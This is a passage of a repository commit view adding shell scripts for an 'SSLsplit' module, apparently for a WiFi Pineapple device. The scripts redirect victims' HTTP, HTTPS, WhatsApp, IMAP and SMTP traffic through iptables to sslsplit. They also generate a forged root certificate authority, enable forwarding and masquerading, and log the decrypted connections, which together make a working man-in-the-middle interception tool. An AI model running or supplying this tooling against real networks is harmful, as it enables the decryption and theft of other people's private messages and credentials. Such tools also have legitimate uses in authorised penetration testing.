# Certain packets are redirected to the local port 8080 and 8443 #
|
||||
##################################################################
|
||||
|
||||
## Plain text HTTP traffic (80) is redirected to port 8080
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
|
||||
|
||||
## WhatsApp (5222) is redirected to port 8080
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080
|
||||
|
||||
## SSL-based HTTPS traffic (443) is redirected to port 8443
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
|
||||
|
||||
## IMAP over SSL (993), SMTP over SSL (465 and 587) is redirected to port 8443
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
|
||||
23
SSLsplit/scripts/autostart_sslsplit.sh
Executable file
23
SSLsplit/scripts/autostart_sslsplit.sh
Executable file
@@ -0,0 +1,23 @@
|
||||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
MYTIME=`date +%s`
|
||||
|
||||
killall sslsplit
|
||||
|
||||
echo '1' > /proc/sys/net/ipv4/ip_forward
|
||||
iptables -X
|
||||
iptables -F
|
||||
iptables -t nat -F
|
||||
iptables -P INPUT ACCEPT
|
||||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
|
||||
sh /pineapple/modules/SSLsplit/rules/iptables
|
||||
|
||||
iptables -t nat -A POSTROUTING -j MASQUERADE
|
||||
|
||||
sslsplit -D -l /pineapple/modules/SSLsplit/connections.log -L /pineapple/modules/SSLsplit/log/output_${MYTIME}.log -k /pineapple/modules/SSLsplit/cert/certificate.key -c /pineapple/modules/SSLsplit/cert/certificate.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
|
||||
55
SSLsplit/scripts/dependencies.sh
Executable file
55
SSLsplit/scripts/dependencies.sh
Executable file
@@ -0,0 +1,55 @@
|
||||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
[[ -f /tmp/SSLsplit.progress ]] && {
|
||||
exit 0
|
||||
}
|
||||
|
||||
touch /tmp/SSLsplit.progress
|
||||
|
||||
if [ "$1" = "install" ]; then
|
||||
if [ "$2" = "internal" ]; then
|
||||
opkg update
|
||||
opkg install sslsplit
|
||||
opkg install openssl-util
|
||||
opkg install libevent2
|
||||
opkg install libevent2-core
|
||||
opkg install libevent2-extra
|
||||
opkg install libevent2-openssl
|
||||
opkg install libevent2-pthreads
|
||||
elif [ "$2" = "sd" ]; then
|
||||
opkg update
|
||||
opkg install sslsplit --dest sd
|
||||
opkg install openssl-util --dest sd
|
||||
opkg install libevent2 --dest sd
|
||||
opkg install libevent2-core --dest sd
|
||||
opkg install libevent2-extra --dest sd
|
||||
opkg install libevent2-openssl --dest sd
|
||||
opkg install libevent2-pthreads --dest sd
|
||||
fi
|
||||
|
||||
openssl genrsa -out /pineapple/modules/SSLsplit/cert/certificate.key 1024
|
||||
openssl req -new -nodes -x509 -sha1 -out /pineapple/modules/SSLsplit/cert/certificate.crt -key /pineapple/modules/SSLsplit/cert/certificate.key -config /pineapple/modules/SSLsplit/cert/openssl.cnf -extensions v3_ca -subj '/O=SSLsplit Root CA/CN=SSLsplit Root CA/' -set_serial 0 -days 3650
|
||||
|
||||
touch /etc/config/sslsplit
|
||||
echo "config sslsplit 'module'" > /etc/config/sslsplit
|
||||
|
||||
uci set sslsplit.module.installed=1
|
||||
uci commit sslsplit.module.installed
|
||||
|
||||
elif [ "$1" = "remove" ]; then
|
||||
opkg remove sslsplit
|
||||
opkg remove openssl-util
|
||||
opkg remove libevent2
|
||||
opkg remove libevent2-core
|
||||
opkg remove libevent2-extra
|
||||
opkg remove libevent2-openssl
|
||||
opkg remove libevent2-pthreads
|
||||
|
||||
rm -rf /etc/config/sslsplit
|
||||
fi
|
||||
|
||||
rm /tmp/SSLsplit.progress
|
||||
17
SSLsplit/scripts/generate_certificate.sh
Executable file
17
SSLsplit/scripts/generate_certificate.sh
Executable file
@@ -0,0 +1,17 @@
|
||||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
[[ -f /tmp/SSLsplit_certificate.progress ]] && {
|
||||
exit 0
|
||||
}
|
||||
|
||||
touch /tmp/SSLsplit_certificate.progress
|
||||
|
||||
# Generate the SSL certificate authority and key for SSLsplit to use
|
||||
openssl genrsa -out /pineapple/modules/SSLsplit/cert/certificate.key 1024
|
||||
openssl req -new -nodes -x509 -sha1 -out /pineapple/modules/SSLsplit/cert/certificate.crt -key /pineapple/modules/SSLsplit/cert/certificate.key -config /pineapple/modules/SSLsplit/cert/openssl.cnf -extensions v3_ca -subj '/O=SSLsplit Root CA/CN=SSLsplit Root CA/' -set_serial 0 -days 3650
|
||||
|
||||
rm /tmp/SSLsplit_certificate.progress
|
||||
41
SSLsplit/scripts/sslsplit.sh
Executable file
41
SSLsplit/scripts/sslsplit.sh
Executable file
@@ -0,0 +1,41 @@
|
||||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
MYTIME=`date +%s`
|
||||
|
||||
killall sslsplit
|
||||
|
||||
if [ "$1" = "start" ]; then
|
||||
|
||||
echo '1' > /proc/sys/net/ipv4/ip_forward
|
||||
iptables -X
|
||||
iptables -F
|
||||
iptables -t nat -F
|
||||
iptables -P INPUT ACCEPT
|
||||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
|
||||
sh /pineapple/modules/SSLsplit/rules/iptables
|
||||
|
||||
iptables -t nat -A POSTROUTING -j MASQUERADE
|
||||
|
||||
sslsplit -D -l /pineapple/modules/SSLsplit/connections.log -L /pineapple/modules/SSLsplit/log/output_${MYTIME}.log -k /pineapple/modules/SSLsplit/cert/certificate.key -c /pineapple/modules/SSLsplit/cert/certificate.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
|
||||
|
||||
elif [ "$1" = "stop" ]; then
|
||||
|
||||
rm -rf /pineapple/modules/SSLsplit/connections.log
|
||||
|
||||
iptables -F
|
||||
iptables -X
|
||||
iptables -t nat -F
|
||||
iptables -t nat -X
|
||||
iptables -t mangle -F
|
||||
iptables -t mangle -X
|
||||
iptables -P INPUT ACCEPT
|
||||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
|
||||
fi
|
||||
Reference in New Issue
Block a user